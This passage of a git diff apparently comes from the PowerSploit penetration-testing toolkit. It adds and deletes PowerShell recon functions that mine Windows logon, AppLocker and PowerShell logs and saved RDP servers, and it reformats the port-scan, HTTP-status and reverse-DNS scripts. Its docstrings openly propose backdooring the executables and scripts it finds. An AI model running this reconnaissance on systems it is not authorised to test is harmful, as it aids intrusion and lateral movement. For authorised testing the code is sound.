"^\s+Account\sDomain:\s+(\S.*)") + { + $NewLogonAccountDomain = $Matches[1] + } + } + elseif ($NetworkInformationSection) + { + if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)") + { + $WorkstationName = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)") + { + $SourceNetworkAddress = $Matches[1] + } + elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)") + { + $SourcePort = $Matches[1] + } + } + } + + #Filter out logins that don't matter + if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager")) + { + $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort + if (-not $ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + LogType = 4624 + LogSource = "Security" + SourceAccountName = $AccountName + SourceDomainName = $AccountDomain + NewLogonAccountName = $NewLogonAccountName + NewLogonAccountDomain = $NewLogonAccountDomain + LogonType = $LogonType + WorkstationName = $WorkstationName + SourceNetworkAddress = $SourceNetworkAddress + SourcePort = $SourcePort + Count = 1 + Times = @($Logon.TimeGenerated) + } + + $ResultObj = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $ResultObj) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated + } + } + } + + return $ReturnInfo +} + + +function Find-AppLockerLog +{ +<# +.SYNOPSIS + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +Function: Find-AppLockerLog +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). + +.EXAMPLE + +Find-AppLockerLog +Find process creations from AppLocker logs. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + + $ReturnInfo = @{} + + $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 8002} + + foreach ($Log in $AppLockerLogs) + { + $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value) + $UserName = $SID.Translate( [System.Security.Principal.NTAccount]) + + $ExeName = $Log.Properties[10].Value + + $Key = $UserName.ToString() + "::::" + $ExeName + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + Exe = $ExeName + User = $UserName.Value + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + + return $ReturnInfo +} + + +Function Find-PSScriptsInPSAppLog +{ +<# +.SYNOPSIS + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +Function: Find-AppLockerLog +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). +You can then backdoor these scripts or do other malicious things. + +.EXAMPLE + +Find-PSScriptsInPSAppLog +Find unique PowerShell scripts being executed from the PowerShell operational log. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + + $ReturnInfo = @{} + $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where-Object {$_.Id -eq 4100} + + foreach ($Log in $Logs) + { + $LogDetails = $Log.Message -split "`r`n" + + $FoundScriptName = $false + foreach($Line in $LogDetails) + { + if ($Line -imatch "^\s*Script\sName\s=\s(.+)") + { + $ScriptName = $Matches[1] + $FoundScriptName = $true + } + elseif ($Line -imatch "^\s*User\s=\s(.*)") + { + $User = $Matches[1] + } + } + + if ($FoundScriptName) + { + $Key = $ScriptName + "::::" + $User + + if (!$ReturnInfo.ContainsKey($Key)) + { + $Properties = @{ + ScriptName = $ScriptName + UserName = $User + Count = 1 + Times = @($Log.TimeCreated) + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + else + { + $ReturnInfo[$Key].Count++ + $ReturnInfo[$Key].Times += ,$Log.TimeCreated + } + } + } + + return $ReturnInfo +} + + +Function Find-RDPClientConnection +{ +<# +.SYNOPSIS + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user +usually RDP's to. + +Function: Find-RDPClientConnection +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user usually RDP's to. + +.EXAMPLE + +Find-RDPClientConnection +Find unique saved RDP client connections. + +.NOTES + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +#> + $ReturnInfo = @{} + + New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null + + #Attempt to enumerate the servers for all users + $Users = Get-ChildItem -Path "HKU:\" + foreach ($UserSid in $Users.PSChildName) + { + $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue + + foreach ($Server in $Servers) + { + $Server = $Server.PSChildName + $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint + + $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint + + if (!$ReturnInfo.ContainsKey($Key)) + { + $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid) + $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value + + $Properties = @{ + CurrentUser = $User + Server = $Server + UsernameHint = $UsernameHint + } + + $Item = New-Object PSObject -Property $Properties + $ReturnInfo.Add($Key, $Item) + } + } + } + + return $ReturnInfo +} diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 deleted file mode 100644 index bd00deb..0000000 --- a/Recon/Get-ComputerDetails.ps1 +++ /dev/null @@ -1,574 +0,0 @@ -function Get-ComputerDetails -{ -<# -.SYNOPSIS - -This script is used to get useful information from a computer. - -Function: Get-ComputerDetails -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -This script is used to get useful information from a computer. Currently, the script gets the following information: --Explicit Credential Logons (Event ID 4648) --Logon events (Event ID 4624) --AppLocker logs to find what processes are created --PowerShell logs to find PowerShell scripts which have been executed --RDP Client Saved Servers, which indicates what servers the user typically RDP's in to - -.PARAMETER ToString - -Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. - -.EXAMPLE - -Get-ComputerDetails -Gets information about the computer and outputs it as PowerShell objects. - -Get-ComputerDetails -ToString -Gets information about the computer and outputs it as raw text. - -.NOTES -This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. -You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell - -#> - - Param( - [Parameter(Position=0)] - [Switch] - $ToString - ) - - Set-StrictMode -Version 2 - - - - $SecurityLog = Get-EventLog -LogName Security - $Filtered4624 = Find-4624Logons $SecurityLog - $Filtered4648 = Find-4648Logons $SecurityLog - $AppLockerLogs = Find-AppLockerLogs - $PSLogs = Find-PSScriptsInPSAppLog - $RdpClientData = Find-RDPClientConnections - - if ($ToString) - { - Write-Output "Event ID 4624 (Logon):" - Write-Output $Filtered4624.Values | Format-List - Write-Output "Event ID 4648 (Explicit Credential Logon):" - Write-Output $Filtered4648.Values | Format-List - Write-Output "AppLocker Process Starts:" - Write-Output $AppLockerLogs.Values | Format-List - Write-Output "PowerShell Script Executions:" - Write-Output $PSLogs.Values | Format-List - Write-Output "RDP Client Data:" - Write-Output $RdpClientData.Values | Format-List - } - else - { - $Properties = @{ - LogonEvent4624 = $Filtered4624.Values - LogonEvent4648 = $Filtered4648.Values - AppLockerProcessStart = $AppLockerLogs.Values - PowerShellScriptStart = $PSLogs.Values - RdpClientData = $RdpClientData.Values - } - - $ReturnObj = New-Object PSObject -Property $Properties - return $ReturnObj - } -} - - -function Find-4648Logons -{ -<# -.SYNOPSIS - -Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the -the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful -for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. - -Function: Find-4648Logons -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the -the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful -for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. - -.EXAMPLE - -Find-4648Logons -Gets the unique 4648 logon events. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - Param( - $SecurityLog - ) - - $ExplicitLogons = $SecurityLog | Where {$_.InstanceID -eq 4648} - $ReturnInfo = @{} - - foreach ($ExplicitLogon in $ExplicitLogons) - { - $Subject = $false - $AccountWhosCredsUsed = $false - $TargetServer = $false - $SourceAccountName = "" - $SourceAccountDomain = "" - $TargetAccountName = "" - $TargetAccountDomain = "" - $TargetServer = "" - foreach ($line in $ExplicitLogon.Message -split "\r\n") - { - if ($line -cmatch "^Subject:$") - { - $Subject = $true - } - elseif ($line -cmatch "^Account\sWhose\sCredentials\sWere\sUsed:$") - { - $Subject = $false - $AccountWhosCredsUsed = $true - } - elseif ($line -cmatch "^Target\sServer:") - { - $AccountWhosCredsUsed = $false - $TargetServer = $true - } - elseif ($Subject -eq $true) - { - if ($line -cmatch "\s+Account\sName:\s+(\S.*)") - { - $SourceAccountName = $Matches[1] - } - elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") - { - $SourceAccountDomain = $Matches[1] - } - } - elseif ($AccountWhosCredsUsed -eq $true) - { - if ($line -cmatch "\s+Account\sName:\s+(\S.*)") - { - $TargetAccountName = $Matches[1] - } - elseif ($line -cmatch "\s+Account\sDomain:\s+(\S.*)") - { - $TargetAccountDomain = $Matches[1] - } - } - elseif ($TargetServer -eq $true) - { - if ($line -cmatch "\s+Target\sServer\sName:\s+(\S.*)") - { - $TargetServer = $Matches[1] - } - } - } - - #Filter out logins that don't matter - if (-not ($TargetAccountName -cmatch "^DWM-.*" -and $TargetAccountDomain -cmatch "^Window\sManager$")) - { - $Key = $SourceAccountName + $SourceAccountDomain + $TargetAccountName + $TargetAccountDomain + $TargetServer - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4648 - LogSource = "Security" - SourceAccountName = $SourceAccountName - SourceDomainName = $SourceAccountDomain - TargetAccountName = $TargetAccountName - TargetDomainName = $TargetAccountDomain - TargetServer = $TargetServer - Count = 1 - Times = @($ExplicitLogon.TimeGenerated) - } - - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$ExplicitLogon.TimeGenerated - } - } - } - - return $ReturnInfo -} - -function Find-4624Logons -{ -<# -.SYNOPSIS - -Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do -network logons in to the server, what accounts RDP in, what accounts log in locally, etc... - -Function: Find-4624Logons -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Find all unique 4624 Logon events to the server. This will tell you who is logging in and how. You can use this to figure out what accounts do -network logons in to the server, what accounts RDP in, what accounts log in locally, etc... - -.EXAMPLE - -Find-4624Logons -Find unique 4624 logon events. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - Param ( - $SecurityLog - ) - - $Logons = $SecurityLog | Where {$_.InstanceID -eq 4624} - $ReturnInfo = @{} - - foreach ($Logon in $Logons) - { - $SubjectSection = $false - $NewLogonSection = $false - $NetworkInformationSection = $false - $AccountName = "" - $AccountDomain = "" - $LogonType = "" - $NewLogonAccountName = "" - $NewLogonAccountDomain = "" - $WorkstationName = "" - $SourceNetworkAddress = "" - $SourcePort = "" - - foreach ($line in $Logon.Message -Split "\r\n") - { - if ($line -cmatch "^Subject:$") - { - $SubjectSection = $true - } - elseif ($line -cmatch "^Logon\sType:\s+(\S.*)") - { - $LogonType = $Matches[1] - } - elseif ($line -cmatch "^New\sLogon:$") - { - $SubjectSection = $false - $NewLogonSection = $true - } - elseif ($line -cmatch "^Network\sInformation:$") - { - $NewLogonSection = $false - $NetworkInformationSection = $true - } - elseif ($SubjectSection) - { - if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") - { - $AccountName = $Matches[1] - } - elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") - { - $AccountDomain = $Matches[1] - } - } - elseif ($NewLogonSection) - { - if ($line -cmatch "^\s+Account\sName:\s+(\S.*)") - { - $NewLogonAccountName = $Matches[1] - } - elseif ($line -cmatch "^\s+Account\sDomain:\s+(\S.*)") - { - $NewLogonAccountDomain = $Matches[1] - } - } - elseif ($NetworkInformationSection) - { - if ($line -cmatch "^\s+Workstation\sName:\s+(\S.*)") - { - $WorkstationName = $Matches[1] - } - elseif ($line -cmatch "^\s+Source\sNetwork\sAddress:\s+(\S.*)") - { - $SourceNetworkAddress = $Matches[1] - } - elseif ($line -cmatch "^\s+Source\sPort:\s+(\S.*)") - { - $SourcePort = $Matches[1] - } - } - } - - #Filter out logins that don't matter - if (-not ($NewLogonAccountDomain -cmatch "NT\sAUTHORITY" -or $NewLogonAccountDomain -cmatch "Window\sManager")) - { - $Key = $AccountName + $AccountDomain + $NewLogonAccountName + $NewLogonAccountDomain + $LogonType + $WorkstationName + $SourceNetworkAddress + $SourcePort - if (-not $ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - LogType = 4624 - LogSource = "Security" - SourceAccountName = $AccountName - SourceDomainName = $AccountDomain - NewLogonAccountName = $NewLogonAccountName - NewLogonAccountDomain = $NewLogonAccountDomain - LogonType = $LogonType - WorkstationName = $WorkstationName - SourceNetworkAddress = $SourceNetworkAddress - SourcePort = $SourcePort - Count = 1 - Times = @($Logon.TimeGenerated) - } - - $ResultObj = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $ResultObj) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Logon.TimeGenerated - } - } - } - - return $ReturnInfo -} - - -function Find-AppLockerLogs -{ -<# -.SYNOPSIS - -Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). - -Function: Find-AppLockerLogs -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Look through the AppLocker logs to find processes that get run on the server. You can then backdoor these exe's (or figure out what they normally run). - -.EXAMPLE - -Find-AppLockerLogs -Find process creations from AppLocker logs. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - - $AppLockerLogs = Get-WinEvent -LogName "Microsoft-Windows-AppLocker/EXE and DLL" -ErrorAction SilentlyContinue | Where {$_.Id -eq 8002} - - foreach ($Log in $AppLockerLogs) - { - $SID = New-Object System.Security.Principal.SecurityIdentifier($Log.Properties[7].Value) - $UserName = $SID.Translate( [System.Security.Principal.NTAccount]) - - $ExeName = $Log.Properties[10].Value - - $Key = $UserName.ToString() + "::::" + $ExeName - - if (!$ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - Exe = $ExeName - User = $UserName.Value - Count = 1 - Times = @($Log.TimeCreated) - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Log.TimeCreated - } - } - - return $ReturnInfo -} - - -Function Find-PSScriptsInPSAppLog -{ -<# -.SYNOPSIS - -Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). -You can then backdoor these scripts or do other malicious things. - -Function: Find-AppLockerLogs -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Go through the PowerShell operational log to find scripts that run (by looking for ExecutionPipeline logs eventID 4100 in PowerShell app log). -You can then backdoor these scripts or do other malicious things. - -.EXAMPLE - -Find-PSScriptsInPSAppLog -Find unique PowerShell scripts being executed from the PowerShell operational log. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - $Logs = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Where {$_.Id -eq 4100} - - foreach ($Log in $Logs) - { - $ContainsScriptName = $false - $LogDetails = $Log.Message -split "`r`n" - - $FoundScriptName = $false - foreach($Line in $LogDetails) - { - if ($Line -imatch "^\s*Script\sName\s=\s(.+)") - { - $ScriptName = $Matches[1] - $FoundScriptName = $true - } - elseif ($Line -imatch "^\s*User\s=\s(.*)") - { - $User = $Matches[1] - } - } - - if ($FoundScriptName) - { - $Key = $ScriptName + "::::" + $User - - if (!$ReturnInfo.ContainsKey($Key)) - { - $Properties = @{ - ScriptName = $ScriptName - UserName = $User - Count = 1 - Times = @($Log.TimeCreated) - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - else - { - $ReturnInfo[$Key].Count++ - $ReturnInfo[$Key].Times += ,$Log.TimeCreated - } - } - } - - return $ReturnInfo -} - - -Function Find-RDPClientConnections -{ -<# -.SYNOPSIS - -Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user -usually RDP's to. - -Function: Find-RDPClientConnections -Author: Joe Bialek, Twitter: @JosephBialek -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Search the registry to find saved RDP client connections. This shows you what connections an RDP client has remembered, indicating what servers the user -usually RDP's to. - -.EXAMPLE - -Find-RDPClientConnections -Find unique saved RDP client connections. - -.NOTES - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -#> - $ReturnInfo = @{} - - New-PSDrive -Name HKU -PSProvider Registry -Root Registry::HKEY_USERS | Out-Null - - #Attempt to enumerate the servers for all users - $Users = Get-ChildItem -Path "HKU:\" - foreach ($UserSid in $Users.PSChildName) - { - $Servers = Get-ChildItem "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers" -ErrorAction SilentlyContinue - - foreach ($Server in $Servers) - { - $Server = $Server.PSChildName - $UsernameHint = (Get-ItemProperty -Path "HKU:\$($UserSid)\Software\Microsoft\Terminal Server Client\Servers\$($Server)").UsernameHint - - $Key = $UserSid + "::::" + $Server + "::::" + $UsernameHint - - if (!$ReturnInfo.ContainsKey($Key)) - { - $SIDObj = New-Object System.Security.Principal.SecurityIdentifier($UserSid) - $User = ($SIDObj.Translate([System.Security.Principal.NTAccount])).Value - - $Properties = @{ - CurrentUser = $User - Server = $Server - UsernameHint = $UsernameHint - } - - $Item = New-Object PSObject -Property $Properties - $ReturnInfo.Add($Key, $Item) - } - } - } - - return $ReturnInfo -} diff --git a/Recon/Get-HttpStatus.ps1 b/Recon/Get-HttpStatus.ps1 index 8b60306..b271efd 100644 --- a/Recon/Get-HttpStatus.ps1 +++ b/Recon/Get-HttpStatus.ps1 @@ -5,11 +5,11 @@ function Get-HttpStatus Returns the HTTP Status Codes and full URL for specified paths. -PowerSploit Function: Get-HttpStatus -Author: Chris Campbell (@obscuresec) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Get-HttpStatus +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -42,7 +42,7 @@ C:\PS> Get-HttpStatus -Target www.example.com -Path c:\dictionary.txt -UseSSL .NOTES HTTP Status Codes: 100 - Informational * 200 - Success * 300 - Redirection * 400 - Client Error * 500 - Server Error - + .LINK http://obscuresecurity.blogspot.com @@ -64,49 +64,54 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html [Switch] $UseSSL ) - + if (Test-Path $Path) { - + if ($UseSSL -and $Port -eq 0) { # Default to 443 if SSL is specified but no port is specified $Port = 443 - } elseif ($Port -eq 0) { + } + elseif ($Port -eq 0) { # Default to port 80 if no port is specified $Port = 80 } - + $TcpConnection = New-Object System.Net.Sockets.TcpClient Write-Verbose "Path Test Succeeded - Testing Connectivity" - + try { # Validate that the host is listening before scanning $TcpConnection.Connect($Target, $Port) - } catch { + } + catch { Write-Error "Connection Test Failed - Check Target" $Tcpconnection.Close() - Return + Return } - + $Tcpconnection.Close() - } else { + } + else { Write-Error "Path Test Failed - Check Dictionary Path" Return } - + if ($UseSSL) { $SSL = 's' # Ignore invalid SSL certificates [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True } - } else { + } + else { $SSL = '' } - + if (($Port -eq 80) -or ($Port -eq 443)) { $PortNum = '' - } else { + } + else { $PortNum = ":$Port" } - + # Check Http status for each entry in the doctionary file foreach ($Item in Get-Content $Path) { @@ -117,24 +122,23 @@ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html $WebRequest = [System.Net.WebRequest]::Create($URI) $WebResponse = $WebRequest.GetResponse() $WebStatus = $WebResponse.StatusCode - $ResultObject += $ScanObject $WebResponse.Close() - } catch { + } + catch { $WebStatus = $Error[0].Exception.InnerException.Response.StatusCode - - if ($WebStatus -eq $null) { + + if (-not $WebStatus) { # Not every exception returns a StatusCode. # If that is the case, return the Status. $WebStatus = $Error[0].Exception.InnerException.Status } - } - + } + $Result = @{ Status = $WebStatus; URL = $WebTarget} - + $ScanObject = New-Object -TypeName PSObject -Property $Result - + Write-Output $ScanObject - } } diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 6f059e2..7e28709 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -5,11 +5,11 @@ function Invoke-Portscan Simple portscan module -PowerSploit Function: Invoke-Portscan -Author: Rich Lundeen (http://webstersProdigy.net) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -114,7 +114,7 @@ Force Overwrite if output Files exist. Otherwise it throws exception .EXAMPLE -C:\PS> Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 +Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 Description ----------- @@ -122,7 +122,7 @@ Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and m .EXAMPLE -C:\PS> echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" +echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" Description ----------- @@ -130,7 +130,7 @@ Does a portscan of "webstersprodigy.net", and writes a greppable output file .EXAMPLE -C:\PS> Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet +Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet Description ----------- @@ -141,7 +141,13 @@ Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all http://webstersprodigy.net #> - [CmdletBinding()]Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseLiteralInitializerForHashtable', '')] + [CmdletBinding()] + Param ( #Host, Ports [Parameter(ParameterSetName="cmdHosts", @@ -748,9 +754,9 @@ http://webstersprodigy.net #TODO deal with output Write-PortscanOut -comment $startMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream - #converting back from int array gives some argument error checking - $sPortList = [string]::join(",", $portList) - $sHostPortList = [string]::join(",", $hostPortList) + # #converting back from int array gives some argument error checking + # $sPortList = [string]::join(",", $portList) + # $sHostPortList = [string]::join(",", $hostPortList) ######## #Port Scan Code - run on a per host basis @@ -840,7 +846,6 @@ http://webstersprodigy.net $sockets[$p] = new-object System.Net.Sockets.TcpClient } - $scriptBlockAsString = @" #somewhat of a race condition with the timeout, but I don't think it matters @@ -885,8 +890,7 @@ http://webstersprodigy.net $timeouts[$p].Enabled = $true $myscriptblock = [scriptblock]::Create($scriptBlockAsString) - $x = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null) - + $Null = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null) } function PortScan-Alive diff --git a/Recon/Invoke-ReverseDnsLookup.ps1 b/Recon/Invoke-ReverseDnsLookup.ps1 index 5e811ee..36e6398 100644 --- a/Recon/Invoke-ReverseDnsLookup.ps1 +++ b/Recon/Invoke-ReverseDnsLookup.ps1 @@ -5,23 +5,23 @@ function Invoke-ReverseDnsLookup Perform a reverse DNS lookup scan on a range of IP addresses. -PowerSploit Function: Invoke-ReverseDnsLookup -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION -Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test. - +Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. + .PARAMETER IPRange Specifies the IP address range. The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. Comma-delimited ranges may can be provided. - + .EXAMPLE -C:\PS> Invoke-ReverseDnsLookup 74.125.228.0/29 +Invoke-ReverseDnsLookup 74.125.228.0/29 IP HostName -- -------- @@ -31,29 +31,29 @@ IP HostName 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the CIDR range. - + .EXAMPLE -C:\PS> Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' - +Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' + IP HostName -- -------- 74.125.228.1 iad23s05-in-f1.1e100.net 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the IP range specified. .EXAMPLE -PS C:\> Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup +Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup IP HostName -- -------- @@ -69,13 +69,15 @@ Description ----------- Returns the hostnames of the IP addresses piped from another source. - .LINK http://www.exploit-monday.com https://github.com/mattifestation/PowerSploit #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [CmdletBinding()] Param ( [Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)] [String] @@ -83,14 +85,14 @@ https://github.com/mattifestation/PowerSploit ) BEGIN { - + function Parse-IPList ([String] $IpRange) { - + function IPtoInt { Param([String] $IpString) - + $Hexstr = "" $Octets = $IpString.Split(".") foreach ($Octet in $Octets) { @@ -98,7 +100,7 @@ https://github.com/mattifestation/PowerSploit } return [Convert]::ToInt64($Hexstr, 16) } - + function InttoIP { Param([Int64] $IpInt) @@ -110,15 +112,15 @@ https://github.com/mattifestation/PowerSploit } return $IpStr.TrimEnd('.') } - + $Ip = [System.Net.IPAddress]::Parse("127.0.0.1") - + foreach ($Str in $IpRange.Split(",")) { $Item = $Str.Trim() $Result = "" $IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" - + # First, validate the input switch -regex ($Item) { @@ -139,11 +141,11 @@ https://github.com/mattifestation/PowerSploit } default { - Write-Warning "Inproper input" + Write-Warning "Improper input" return } } - + #Now, start processing the IP addresses switch ($Result) { @@ -152,14 +154,14 @@ https://github.com/mattifestation/PowerSploit $CidrRange = $Item.Split("/") $Network = $CidrRange[0] $Mask = $CidrRange[1] - + if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return} if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return} - + $BinaryIP = [Convert]::ToString((IPtoInt 